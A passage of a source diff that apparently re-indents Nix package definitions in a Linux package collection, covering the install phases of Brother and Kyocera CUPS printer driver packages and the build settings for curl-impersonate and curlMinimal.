--- a/pkgs/by-name/cu/cups-brother-hll2350dw/package.nix
+++ b/pkgs/by-name/cu/cups-brother-hll2350dw/package.nix
@@ -49,51 +49,50 @@ stdenv.mkDerivation rec {
     sha256 = "0b7hhln105agc3rwpi7cjlx5nf4d2yk9iksahdv3725nnd06lg46";
   };
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out
-      dpkg-deb -x $src $out
+    mkdir -p $out
+    dpkg-deb -x $src $out
 
-      # delete unnecessary files for the current architecture
-    ''
-    + lib.concatMapStrings (arch: ''
-      echo Deleting files for ${arch}
-      rm -r "$out/opt/brother/Printers/HLL2350DW/lpd/${arch}"
-    '') (builtins.filter (arch: arch != stdenv.hostPlatform.linuxArch) arches)
-    + ''
+    # delete unnecessary files for the current architecture
+  ''
+  + lib.concatMapStrings (arch: ''
+    echo Deleting files for ${arch}
+    rm -r "$out/opt/brother/Printers/HLL2350DW/lpd/${arch}"
+  '') (builtins.filter (arch: arch != stdenv.hostPlatform.linuxArch) arches)
+  + ''
 
-      # bundled scripts don't understand the arch subdirectories for some reason
-      ln -s \
-        "$out/opt/brother/Printers/HLL2350DW/lpd/${stdenv.hostPlatform.linuxArch}/"* \
-        "$out/opt/brother/Printers/HLL2350DW/lpd/"
+    # bundled scripts don't understand the arch subdirectories for some reason
+    ln -s \
+      "$out/opt/brother/Printers/HLL2350DW/lpd/${stdenv.hostPlatform.linuxArch}/"* \
+      "$out/opt/brother/Printers/HLL2350DW/lpd/"
 
-      # Fix global references and replace auto discovery mechanism with hardcoded values
-      substituteInPlace $out/opt/brother/Printers/HLL2350DW/lpd/lpdfilter \
-        --replace /opt "$out/opt" \
-        --replace "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/HLL2350DW\"; #" \
-        --replace "PRINTER =~" "PRINTER = \"HLL2350DW\"; #"
+    # Fix global references and replace auto discovery mechanism with hardcoded values
+    substituteInPlace $out/opt/brother/Printers/HLL2350DW/lpd/lpdfilter \
+      --replace /opt "$out/opt" \
+      --replace "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/HLL2350DW\"; #" \
+      --replace "PRINTER =~" "PRINTER = \"HLL2350DW\"; #"
 
-      # Make sure all executables have the necessary runtime dependencies available
-      find "$out" -executable -and -type f | while read file; do
-        wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
-      done
+    # Make sure all executables have the necessary runtime dependencies available
+    find "$out" -executable -and -type f | while read file; do
+      wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
+    done
 
-      # Symlink filter and ppd into a location where CUPS will discover it
-      mkdir -p $out/lib/cups/filter
-      mkdir -p $out/share/cups/model
+    # Symlink filter and ppd into a location where CUPS will discover it
+    mkdir -p $out/lib/cups/filter
+    mkdir -p $out/share/cups/model
 
-      ln -s \
-        $out/opt/brother/Printers/HLL2350DW/lpd/lpdfilter \
-        $out/lib/cups/filter/brother_lpdwrapper_HLL2350DW
+    ln -s \
+      $out/opt/brother/Printers/HLL2350DW/lpd/lpdfilter \
+      $out/lib/cups/filter/brother_lpdwrapper_HLL2350DW
 
-      ln -s \
-        $out/opt/brother/Printers/HLL2350DW/cupswrapper/brother-HLL2350DW-cups-en.ppd \
-        $out/share/cups/model/
+    ln -s \
+      $out/opt/brother/Printers/HLL2350DW/cupswrapper/brother-HLL2350DW-cups-en.ppd \
+      $out/share/cups/model/
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   meta = with lib; {
     homepage = "http://www.brother.com/";
diff --git a/pkgs/by-name/cu/cups-brother-hll2375dw/package.nix b/pkgs/by-name/cu/cups-brother-hll2375dw/package.nix
index 99d1dc12527d..8cfaf540ecba 100644
--- a/pkgs/by-name/cu/cups-brother-hll2375dw/package.nix
+++ b/pkgs/by-name/cu/cups-brother-hll2375dw/package.nix
@@ -56,51 +56,50 @@ stdenv.mkDerivation rec {
     ./fix-perm.patch
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p $out
-      cp -ar opt $out/opt
-      # delete unnecessary files for the current architecture
-    ''
-    + lib.concatMapStrings (arch: ''
-      echo Deleting files for ${arch}
-      rm -r "$out/opt/brother/Printers/HLL2375DW/lpd/${arch}"
-    '') (builtins.filter (arch: arch != stdenv.hostPlatform.linuxArch) arches)
-    + ''
-      # bundled scripts don't understand the arch subdirectories for some reason
-      ln -s \
-        "$out/opt/brother/Printers/HLL2375DW/lpd/${stdenv.hostPlatform.linuxArch}/"* \
-        "$out/opt/brother/Printers/HLL2375DW/lpd/"
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out
+    cp -ar opt $out/opt
+    # delete unnecessary files for the current architecture
+  ''
+  + lib.concatMapStrings (arch: ''
+    echo Deleting files for ${arch}
+    rm -r "$out/opt/brother/Printers/HLL2375DW/lpd/${arch}"
+  '') (builtins.filter (arch: arch != stdenv.hostPlatform.linuxArch) arches)
+  + ''
+    # bundled scripts don't understand the arch subdirectories for some reason
+    ln -s \
+      "$out/opt/brother/Printers/HLL2375DW/lpd/${stdenv.hostPlatform.linuxArch}/"* \
+      "$out/opt/brother/Printers/HLL2375DW/lpd/"
 
-      # Fix global references and replace auto discovery mechanism with hardcoded values
-      substituteInPlace $out/opt/brother/Printers/HLL2375DW/lpd/lpdfilter \
-        --replace "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/HLL2375DW\"; #" \
-        --replace "PRINTER =~" "PRINTER = \"HLL2375DW\"; #"
-      substituteInPlace $out/opt/brother/Printers/HLL2375DW/cupswrapper/lpdwrapper \
-        --replace "my \$basedir = C" "my \$basedir = \"$out/opt/brother/Printers/HLL2375DW\" ; #" \
-        --replace "PRINTER =~" "PRINTER = \"HLL2375DW\"; #"
+    # Fix global references and replace auto discovery mechanism with hardcoded values
+    substituteInPlace $out/opt/brother/Printers/HLL2375DW/lpd/lpdfilter \
+      --replace "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/HLL2375DW\"; #" \
+      --replace "PRINTER =~" "PRINTER = \"HLL2375DW\"; #"
+    substituteInPlace $out/opt/brother/Printers/HLL2375DW/cupswrapper/lpdwrapper \
+      --replace "my \$basedir = C" "my \$basedir = \"$out/opt/brother/Printers/HLL2375DW\" ; #" \
+      --replace "PRINTER =~" "PRINTER = \"HLL2375DW\"; #"
 
-      # Make sure all executables have the necessary runtime dependencies available
-      find "$out" -executable -and -type f | while read file; do
-        wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
-      done
+    # Make sure all executables have the necessary runtime dependencies available
+    find "$out" -executable -and -type f | while read file; do
+      wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
+    done
 
-      # Symlink filter and ppd into a location where CUPS will discover it
-      mkdir -p $out/lib/cups/filter
-      mkdir -p $out/share/cups/model
-      mkdir -p $out/etc/opt/brother/Printers/HLL2375DW/inf
+    # Symlink filter and ppd into a location where CUPS will discover it
+    mkdir -p $out/lib/cups/filter
+    mkdir -p $out/share/cups/model
+    mkdir -p $out/etc/opt/brother/Printers/HLL2375DW/inf
 
-      ln -s $out/opt/brother/Printers/HLL2375DW/inf/brHLL2375DWrc \
-            $out/etc/opt/brother/Printers/HLL2375DW/inf/brHLL2375DWrc
-      ln -s \
-        $out/opt/brother/Printers/HLL2375DW/cupswrapper/lpdwrapper \
-        $out/lib/cups/filter/brother_lpdwrapper_HLL2375DW
-      ln -s \
-        $out/opt/brother/Printers/HLL2375DW/cupswrapper/brother-HLL2375DW-cups-en.ppd \
-        $out/share/cups/model/
-      runHook postInstall
-    '';
+    ln -s $out/opt/brother/Printers/HLL2375DW/inf/brHLL2375DWrc \
+          $out/etc/opt/brother/Printers/HLL2375DW/inf/brHLL2375DWrc
+    ln -s \
+      $out/opt/brother/Printers/HLL2375DW/cupswrapper/lpdwrapper \
+      $out/lib/cups/filter/brother_lpdwrapper_HLL2375DW
+    ln -s \
+      $out/opt/brother/Printers/HLL2375DW/cupswrapper/brother-HLL2375DW-cups-en.ppd \
+      $out/share/cups/model/
+    runHook postInstall
+  '';
 
   meta = with lib; {
     homepage = "http://www.brother.com/";
diff --git a/pkgs/by-name/cu/cups-brother-mfcl2750dw/package.nix b/pkgs/by-name/cu/cups-brother-mfcl2750dw/package.nix
index 25485338be51..2e286d529ad6 100644
--- a/pkgs/by-name/cu/cups-brother-mfcl2750dw/package.nix
+++ b/pkgs/by-name/cu/cups-brother-mfcl2750dw/package.nix
@@ -49,51 +49,50 @@ stdenv.mkDerivation rec {
     hash = "sha256-3uDwzLQTF8r1tsGZ7ChGhk4ryQmVsZYdUaj9eFaC0jc=";
   };
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out
-      dpkg-deb -x $src $out
+    mkdir -p $out
+    dpkg-deb -x $src $out
 
-      # delete unnecessary files for the current architecture
-    ''
-    + lib.concatMapStrings (arch: ''
-      echo Deleting files for ${arch}
-      rm -r "$out/opt/brother/Printers/MFCL2750DW/lpd/${arch}"
-    '') (builtins.filter (arch: arch != stdenv.hostPlatform.linuxArch) arches)
-    + ''
+    # delete unnecessary files for the current architecture
+  ''
+  + lib.concatMapStrings (arch: ''
+    echo Deleting files for ${arch}
+    rm -r "$out/opt/brother/Printers/MFCL2750DW/lpd/${arch}"
+  '') (builtins.filter (arch: arch != stdenv.hostPlatform.linuxArch) arches)
+  + ''
 
-      # bundled scripts don't understand the arch subdirectories for some reason
-      ln -s \
-        "$out/opt/brother/Printers/MFCL2750DW/lpd/${stdenv.hostPlatform.linuxArch}/"* \
-        "$out/opt/brother/Printers/MFCL2750DW/lpd/"
+    # bundled scripts don't understand the arch subdirectories for some reason
+    ln -s \
+      "$out/opt/brother/Printers/MFCL2750DW/lpd/${stdenv.hostPlatform.linuxArch}/"* \
+      "$out/opt/brother/Printers/MFCL2750DW/lpd/"
 
-      # Fix global references and replace auto discovery mechanism with hardcoded values
-      substituteInPlace $out/opt/brother/Printers/MFCL2750DW/lpd/lpdfilter \
-        --replace /opt "$out/opt" \
-        --replace "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/MFCL2750DW\"; #" \
-        --replace "PRINTER =~" "PRINTER = \"MFCL2750DW\"; #"
+    # Fix global references and replace auto discovery mechanism with hardcoded values
+    substituteInPlace $out/opt/brother/Printers/MFCL2750DW/lpd/lpdfilter \
+      --replace /opt "$out/opt" \
+      --replace "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/MFCL2750DW\"; #" \
+      --replace "PRINTER =~" "PRINTER = \"MFCL2750DW\"; #"
 
-      # Make sure all executables have the necessary runtime dependencies available
-      find "$out" -executable -and -type f | while read file; do
-        wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
-      done
+    # Make sure all executables have the necessary runtime dependencies available
+    find "$out" -executable -and -type f | while read file; do
+      wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
+    done
 
-      # Symlink filter and ppd into a location where CUPS will discover it
-      mkdir -p $out/lib/cups/filter
-      mkdir -p $out/share/cups/model
+    # Symlink filter and ppd into a location where CUPS will discover it
+    mkdir -p $out/lib/cups/filter
+    mkdir -p $out/share/cups/model
 
-      ln -s \
-        $out/opt/brother/Printers/MFCL2750DW/lpd/lpdfilter \
-        $out/lib/cups/filter/brother_lpdwrapper_MFCL2750DW
+    ln -s \
+      $out/opt/brother/Printers/MFCL2750DW/lpd/lpdfilter \
+      $out/lib/cups/filter/brother_lpdwrapper_MFCL2750DW
 
-      ln -s \
-        $out/opt/brother/Printers/MFCL2750DW/cupswrapper/brother-MFCL2750DW-cups-en.ppd \
-        $out/share/cups/model/
+    ln -s \
+      $out/opt/brother/Printers/MFCL2750DW/cupswrapper/brother-MFCL2750DW-cups-en.ppd \
+      $out/share/cups/model/
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   meta = with lib; {
     homepage = "http://www.brother.com/";
diff --git a/pkgs/by-name/cu/cups-brother-mfcl2800dw/package.nix b/pkgs/by-name/cu/cups-brother-mfcl2800dw/package.nix
index a8eef17291a8..6de620531193 100644
--- a/pkgs/by-name/cu/cups-brother-mfcl2800dw/package.nix
+++ b/pkgs/by-name/cu/cups-brother-mfcl2800dw/package.nix
@@ -47,50 +47,49 @@ stdenv.mkDerivation {
     hash = "sha256-sY92w0EFI69LxoNrhluIhqFOWZQOI+SJKKyuExvasgA=";
   };
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out
-      dpkg-deb -x $src $out
+    mkdir -p $out
+    dpkg-deb -x $src $out
 
-      # delete unnecessary files for the current architecture
-    ''
-    + lib.concatMapStrings (arch: ''
-      echo Deleting files for ${arch}
-      rm -r "$out/opt/brother/Printers/MFCL2800DW/lpd/${arch}"
-    '') (builtins.filter (arch: arch != stdenv.hostPlatform.linuxArch) arches)
-    + ''
+    # delete unnecessary files for the current architecture
+  ''
+  + lib.concatMapStrings (arch: ''
+    echo Deleting files for ${arch}
+    rm -r "$out/opt/brother/Printers/MFCL2800DW/lpd/${arch}"
+  '') (builtins.filter (arch: arch != stdenv.hostPlatform.linuxArch) arches)
+  + ''
 
-      # bundled scripts don't understand the arch subdirectories for some reason
-      ln -s \
-        "$out/opt/brother/Printers/MFCL2800DW/lpd/${stdenv.hostPlatform.linuxArch}/"* \
-        "$out/opt/brother/Printers/MFCL2800DW/lpd/"
+    # bundled scripts don't understand the arch subdirectories for some reason
+    ln -s \
+      "$out/opt/brother/Printers/MFCL2800DW/lpd/${stdenv.hostPlatform.linuxArch}/"* \
+      "$out/opt/brother/Printers/MFCL2800DW/lpd/"
 
-      # Fix global references and replace auto discovery mechanism with hardcoded values
-      substituteInPlace $out/opt/brother/Printers/MFCL2800DW/lpd/lpdfilter \
-        --replace-fail /opt "$out/opt" \
-        --replace-fail "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/MFCL2800DW\"; #" \
-        --replace-fail "PRINTER =~" "PRINTER = \"MFCL2800DW\"; #"
+    # Fix global references and replace auto discovery mechanism with hardcoded values
+    substituteInPlace $out/opt/brother/Printers/MFCL2800DW/lpd/lpdfilter \
+      --replace-fail /opt "$out/opt" \
+      --replace-fail "my \$BR_PRT_PATH =" "my \$BR_PRT_PATH = \"$out/opt/brother/Printers/MFCL2800DW\"; #" \
+      --replace-fail "PRINTER =~" "PRINTER = \"MFCL2800DW\"; #"
 
-      # Make sure all executables have the necessary runtime dependencies available
-      find "$out" -executable -and -type f | while read file; do
-        wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
-      done
+    # Make sure all executables have the necessary runtime dependencies available
+    find "$out" -executable -and -type f | while read file; do
+      wrapProgram "$file" --prefix PATH : "${lib.makeBinPath runtimeDeps}"
+    done
 
-      # Symlink filter and ppd into a location where CUPS will discover it
-      mkdir -p $out/lib/cups/filter $out/share/cups/model
+    # Symlink filter and ppd into a location where CUPS will discover it
+    mkdir -p $out/lib/cups/filter $out/share/cups/model
 
-      ln -s \
-        $out/opt/brother/Printers/MFCL2800DW/lpd/lpdfilter \
-        $out/lib/cups/filter/brother_lpdwrapper_MFCL2800DW
+    ln -s \
+      $out/opt/brother/Printers/MFCL2800DW/lpd/lpdfilter \
+      $out/lib/cups/filter/brother_lpdwrapper_MFCL2800DW
 
-      ln -s \
-        $out/opt/brother/Printers/MFCL2800DW/cupswrapper/brother-MFCL2800DW-cups-en.ppd \
-        $out/share/cups/model/
+    ln -s \
+      $out/opt/brother/Printers/MFCL2800DW/cupswrapper/brother-MFCL2800DW-cups-en.ppd \
+      $out/share/cups/model/
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   meta = {
     homepage = "http://www.brother.com/";
diff --git a/pkgs/by-name/cu/cups-kyodialog/package.nix b/pkgs/by-name/cu/cups-kyodialog/package.nix
index 2cd8ea911140..ca655ee05eb6 100644
--- a/pkgs/by-name/cu/cups-kyodialog/package.nix
+++ b/pkgs/by-name/cu/cups-kyodialog/package.nix
@@ -70,7 +70,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoPatchelfHook
     python3Packages.wrapPython
-  ] ++ lib.optionals withQtGui [ qt5.wrapQtAppsHook ];
+  ]
+  ++ lib.optionals withQtGui [ qt5.wrapQtAppsHook ];
 
   buildInputs = [ cups ] ++ lib.optionals withQtGui [ qt5.qtbase ];
 
@@ -82,35 +83,34 @@ stdenv.mkDerivation rec {
     setuptools
   ];
 
-  installPhase =
-    ''
-      # allow cups to find the ppd files
-      mkdir -p $out/share/cups/model
-      mv ./usr/share/kyocera${kyodialog_version}/ppd${kyodialog_version} $out/share/cups/model/Kyocera
+  installPhase = ''
+    # allow cups to find the ppd files
+    mkdir -p $out/share/cups/model
+    mv ./usr/share/kyocera${kyodialog_version}/ppd${kyodialog_version} $out/share/cups/model/Kyocera
 
-      # remove absolute path prefixes to filters in ppd
-      find $out -name "*.ppd" -exec sed -E -i "s:/usr/lib/cups/filter/::g" {} \;
+    # remove absolute path prefixes to filters in ppd
+    find $out -name "*.ppd" -exec sed -E -i "s:/usr/lib/cups/filter/::g" {} \;
 
 
-      mkdir -p $out/lib/cups/
-      mv ./usr/lib/cups/filter/ $out/lib/cups/
-      # for lib/cups/filter/kyofilter_pre_H
-      wrapPythonProgramsIn $out/lib/cups/filter "$propagatedBuildInputs"
+    mkdir -p $out/lib/cups/
+    mv ./usr/lib/cups/filter/ $out/lib/cups/
+    # for lib/cups/filter/kyofilter_pre_H
+    wrapPythonProgramsIn $out/lib/cups/filter "$propagatedBuildInputs"
 
 
-      install -Dm444 usr/share/doc/kyodialog/copyright $out/share/doc/${pname}/copyright
-    ''
-    + lib.optionalString withQtGui ''
-      install -D usr/bin/kyoPPDWrite_H $out/bin/kyoPPDWrite_H
-      install -D usr/bin/kyodialog${kyodialog_version} $out/bin/kyodialog
+    install -Dm444 usr/share/doc/kyodialog/copyright $out/share/doc/${pname}/copyright
+  ''
+  + lib.optionalString withQtGui ''
+    install -D usr/bin/kyoPPDWrite_H $out/bin/kyoPPDWrite_H
+    install -D usr/bin/kyodialog${kyodialog_version} $out/bin/kyodialog
 
-      install -Dm444 usr/share/kyocera${kyodialog_version}/appicon_H.png $out/share/${pname}/icons/appicon_H.png
+    install -Dm444 usr/share/kyocera${kyodialog_version}/appicon_H.png $out/share/${pname}/icons/appicon_H.png
 
-      install -Dm444 usr/share/applications/kyodialog${kyodialog_version}.desktop $out/share/applications/kyodialog.desktop
-      substituteInPlace $out/share/applications/kyodialog.desktop \
-        --replace Exec=\"/usr/bin/kyodialog${kyodialog_version}\" Exec=\"$out/bin/kyodialog\" \
-        --replace Icon=/usr/share/kyocera/appicon_H.png Icon=$out/share/${pname}/icons/appicon_H.png
-    '';
+    install -Dm444 usr/share/applications/kyodialog${kyodialog_version}.desktop $out/share/applications/kyodialog.desktop
+    substituteInPlace $out/share/applications/kyodialog.desktop \
+      --replace Exec=\"/usr/bin/kyodialog${kyodialog_version}\" Exec=\"$out/bin/kyodialog\" \
+      --replace Icon=/usr/share/kyocera/appicon_H.png Icon=$out/share/${pname}/icons/appicon_H.png
+  '';
 
   meta = with lib; {
     description = "CUPS drivers for several Kyocera printers";
diff --git a/pkgs/by-name/cu/curl-impersonate/chrome/default.nix b/pkgs/by-name/cu/curl-impersonate/chrome/default.nix
index dce29e548661..efdd2c69fba3 100644
--- a/pkgs/by-name/cu/curl-impersonate/chrome/default.nix
+++ b/pkgs/by-name/cu/curl-impersonate/chrome/default.nix
@@ -127,36 +127,35 @@ stdenv.mkDerivation rec {
     configureFlagsArray+=("--with-libnssckbi=$out/lib")
   '';
 
-  postInstall =
-    ''
-      # Remove vestigial *-config script
-      rm $out/bin/curl-impersonate-chrome-config
+  postInstall = ''
+    # Remove vestigial *-config script
+    rm $out/bin/curl-impersonate-chrome-config
 
-      # Patch all shebangs of installed scripts
-      patchShebangs $out/bin
+    # Patch all shebangs of installed scripts
+    patchShebangs $out/bin
 
-      # Install headers
-      make -C curl-*/include install
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      # Build and install completions for each curl binary
+    # Install headers
+    make -C curl-*/include install
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    # Build and install completions for each curl binary
 
-      # Patch in correct binary name and alias it to all scripts
-      perl curl-*/scripts/completion.pl --curl $out/bin/curl-impersonate-chrome --shell zsh >$TMPDIR/curl-impersonate-chrome.zsh
-      substituteInPlace $TMPDIR/curl-impersonate-chrome.zsh \
-        --replace-fail \
-          '#compdef curl' \
-          "#compdef curl-impersonate-chrome$(find $out/bin -name 'curl_*' -printf ' %f=curl-impersonate-chrome')"
+    # Patch in correct binary name and alias it to all scripts
+    perl curl-*/scripts/completion.pl --curl $out/bin/curl-impersonate-chrome --shell zsh >$TMPDIR/curl-impersonate-chrome.zsh
+    substituteInPlace $TMPDIR/curl-impersonate-chrome.zsh \
+      --replace-fail \
+        '#compdef curl' \
+        "#compdef curl-impersonate-chrome$(find $out/bin -name 'curl_*' -printf ' %f=curl-impersonate-chrome')"
 
-      perl curl-*/scripts/completion.pl --curl $out/bin/curl-impersonate-chrome --shell fish >$TMPDIR/curl-impersonate-chrome.fish
-      substituteInPlace $TMPDIR/curl-impersonate-chrome.fish \
-        --replace-fail \
-          '--command curl' \
-          "--command curl-impersonate-chrome$(find $out/bin -name 'curl_*' -printf ' --command %f')"
+    perl curl-*/scripts/completion.pl --curl $out/bin/curl-impersonate-chrome --shell fish >$TMPDIR/curl-impersonate-chrome.fish
+    substituteInPlace $TMPDIR/curl-impersonate-chrome.fish \
+      --replace-fail \
+        '--command curl' \
+        "--command curl-impersonate-chrome$(find $out/bin -name 'curl_*' -printf ' --command %f')"
 
-      # Install zsh and fish completions
-      installShellCompletion $TMPDIR/curl-impersonate-chrome.{zsh,fish}
-    '';
+    # Install zsh and fish completions
+    installShellCompletion $TMPDIR/curl-impersonate-chrome.{zsh,fish}
+  '';
 
   preFixup =
     let
diff --git a/pkgs/by-name/cu/curl-impersonate/firefox/default.nix b/pkgs/by-name/cu/curl-impersonate/firefox/default.nix
index e0d178466ea2..c82f81e4a4df 100644
--- a/pkgs/by-name/cu/curl-impersonate/firefox/default.nix
+++ b/pkgs/by-name/cu/curl-impersonate/firefox/default.nix
@@ -119,36 +119,35 @@ stdenv.mkDerivation rec {
     configureFlagsArray+=("--with-libnssckbi=$out/lib")
   '';
 
-  postInstall =
-    ''
-      # Remove vestigial *-config script
-      rm $out/bin/curl-impersonate-ff-config
+  postInstall = ''
+    # Remove vestigial *-config script
+    rm $out/bin/curl-impersonate-ff-config
 
-      # Patch all shebangs of installed scripts
-      patchShebangs $out/bin
+    # Patch all shebangs of installed scripts
+    patchShebangs $out/bin
 
-      # Install headers
-      make -C curl-*/include install
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      # Build and install completions for each curl binary
+    # Install headers
+    make -C curl-*/include install
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    # Build and install completions for each curl binary
 
-      # Patch in correct binary name and alias it to all scripts
-      perl curl-*/scripts/completion.pl --curl $out/bin/curl-impersonate-ff --shell zsh >$TMPDIR/curl-impersonate-ff.zsh
-      substituteInPlace $TMPDIR/curl-impersonate-ff.zsh \
-        --replace-fail \
-          '#compdef curl' \
-          "#compdef curl-impersonate-ff$(find $out/bin -name 'curl_*' -printf ' %f=curl-impersonate-ff')"
+    # Patch in correct binary name and alias it to all scripts
+    perl curl-*/scripts/completion.pl --curl $out/bin/curl-impersonate-ff --shell zsh >$TMPDIR/curl-impersonate-ff.zsh
+    substituteInPlace $TMPDIR/curl-impersonate-ff.zsh \
+      --replace-fail \
+        '#compdef curl' \
+        "#compdef curl-impersonate-ff$(find $out/bin -name 'curl_*' -printf ' %f=curl-impersonate-ff')"
 
-      perl curl-*/scripts/completion.pl --curl $out/bin/curl-impersonate-ff --shell fish >$TMPDIR/curl-impersonate-ff.fish
-      substituteInPlace $TMPDIR/curl-impersonate-ff.fish \
-        --replace-fail \
-          '--command curl' \
-          "--command curl-impersonate-ff$(find $out/bin -name 'curl_*' -printf ' --command %f')"
+    perl curl-*/scripts/completion.pl --curl $out/bin/curl-impersonate-ff --shell fish >$TMPDIR/curl-impersonate-ff.fish
+    substituteInPlace $TMPDIR/curl-impersonate-ff.fish \
+      --replace-fail \
+        '--command curl' \
+        "--command curl-impersonate-ff$(find $out/bin -name 'curl_*' -printf ' --command %f')"
 
-      # Install zsh and fish completions
-      installShellCompletion $TMPDIR/curl-impersonate-ff.{zsh,fish}
-    '';
+    # Install zsh and fish completions
+    installShellCompletion $TMPDIR/curl-impersonate-ff.{zsh,fish}
+  '';
 
   preFixup =
     let
diff --git a/pkgs/by-name/cu/curlMinimal/package.nix b/pkgs/by-name/cu/curlMinimal/package.nix
index e84bce6fafd9..a2d1835da18e 100644
--- a/pkgs/by-name/cu/curlMinimal/package.nix
+++ b/pkgs/by-name/cu/curlMinimal/package.nix
@@ -132,7 +132,8 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     pkg-config
     perl
-  ] ++ lib.optionals stdenv.hostPlatform.isOpenBSD [ autoreconfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isOpenBSD [ autoreconfHook ];
 
   nativeCheckInputs = [
     # See https://github.com/curl/curl/pull/16928
@@ -170,48 +171,47 @@ stdenv.mkDerivation (finalAttrs: {
     rm src/tool_hugehelp.c
   '';
 
-  configureFlags =
-    [
-      "--enable-versioned-symbols"
-      # Build without manual
-      "--disable-manual"
-      (lib.enableFeature c-aresSupport "ares")
-      (lib.enableFeature ldapSupport "ldap")
-      (lib.enableFeature ldapSupport "ldaps")
-      (lib.enableFeature websocketSupport "websockets")
-      # --with-ca-fallback is only supported for openssl and gnutls https://github.com/curl/curl/blame/curl-8_0_1/acinclude.m4#L1640
-      (lib.withFeature (opensslSupport || gnutlsSupport) "ca-fallback")
-      (lib.withFeature http3Support "nghttp3")
-      (lib.withFeature http3Support "ngtcp2")
-      (lib.withFeature rtmpSupport "librtmp")
-      (lib.withFeature rustlsSupport "rustls")
-      (lib.withFeature zstdSupport "zstd")
-      (lib.withFeature pslSupport "libpsl")
-      (lib.withFeatureAs brotliSupport "brotli" (lib.getDev brotli))
-      (lib.withFeatureAs gnutlsSupport "gnutls" (lib.getDev gnutls))
-      (lib.withFeatureAs idnSupport "libidn2" (lib.getDev libidn2))
-      (lib.withFeatureAs opensslSupport "openssl" (lib.getDev openssl'))
-      (lib.withFeatureAs scpSupport "libssh2" (lib.getDev libssh2))
-      (lib.withFeatureAs wolfsslSupport "wolfssl" (lib.getDev wolfssl))
-    ]
-    ++ lib.optional gssSupport "--with-gssapi=${lib.getDev libkrb5}"
-    # For the 'urandom', maybe it should be a cross-system option
-    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "--with-random=/dev/urandom"
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Disable default CA bundle, use NIX_SSL_CERT_FILE or fallback to nss-cacert from the default profile.
-      # Without this curl might detect /etc/ssl/cert.pem at build time on macOS, causing curl to ignore NIX_SSL_CERT_FILE.
-      "--without-ca-bundle"
-      "--without-ca-path"
-    ]
-    ++ lib.optionals (!gnutlsSupport && !opensslSupport && !wolfsslSupport && !rustlsSupport) [
-      "--without-ssl"
-    ]
-    ++ lib.optionals (rustlsSupport && !stdenv.hostPlatform.isDarwin) [
-      "--with-ca-bundle=/etc/ssl/certs/ca-certificates.crt"
-    ]
-    ++ lib.optionals (gnutlsSupport && !stdenv.hostPlatform.isDarwin) [
-      "--with-ca-path=/etc/ssl/certs"
-    ];
+  configureFlags = [
+    "--enable-versioned-symbols"
+    # Build without manual
+    "--disable-manual"
+    (lib.enableFeature c-aresSupport "ares")
+    (lib.enableFeature ldapSupport "ldap")
+    (lib.enableFeature ldapSupport "ldaps")
+    (lib.enableFeature websocketSupport "websockets")
+    # --with-ca-fallback is only supported for openssl and gnutls https://github.com/curl/curl/blame/curl-8_0_1/acinclude.m4#L1640
+    (lib.withFeature (opensslSupport || gnutlsSupport) "ca-fallback")
+    (lib.withFeature http3Support "nghttp3")
+    (lib.withFeature http3Support "ngtcp2")
+    (lib.withFeature rtmpSupport "librtmp")
+    (lib.withFeature rustlsSupport "rustls")
+    (lib.withFeature zstdSupport "zstd")
+    (lib.withFeature pslSupport "libpsl")
+    (lib.withFeatureAs brotliSupport "brotli" (lib.getDev brotli))
+    (lib.withFeatureAs gnutlsSupport "gnutls" (lib.getDev gnutls))
+    (lib.withFeatureAs idnSupport "libidn2" (lib.getDev libidn2))
+    (lib.withFeatureAs opensslSupport "openssl" (lib.getDev openssl'))
+    (lib.withFeatureAs scpSupport "libssh2" (lib.getDev libssh2))
+    (lib.withFeatureAs wolfsslSupport "wolfssl" (lib.getDev wolfssl))
+  ]
+  ++ lib.optional gssSupport "--with-gssapi=${lib.getDev libkrb5}"
+  # For the 'urandom', maybe it should be a cross-system option
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "--with-random=/dev/urandom"
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Disable default CA bundle, use NIX_SSL_CERT_FILE or fallback to nss-cacert from the default profile.
+    # Without this curl might detect /etc/ssl/cert.pem at build time on macOS, causing curl to ignore NIX_SSL_CERT_FILE.
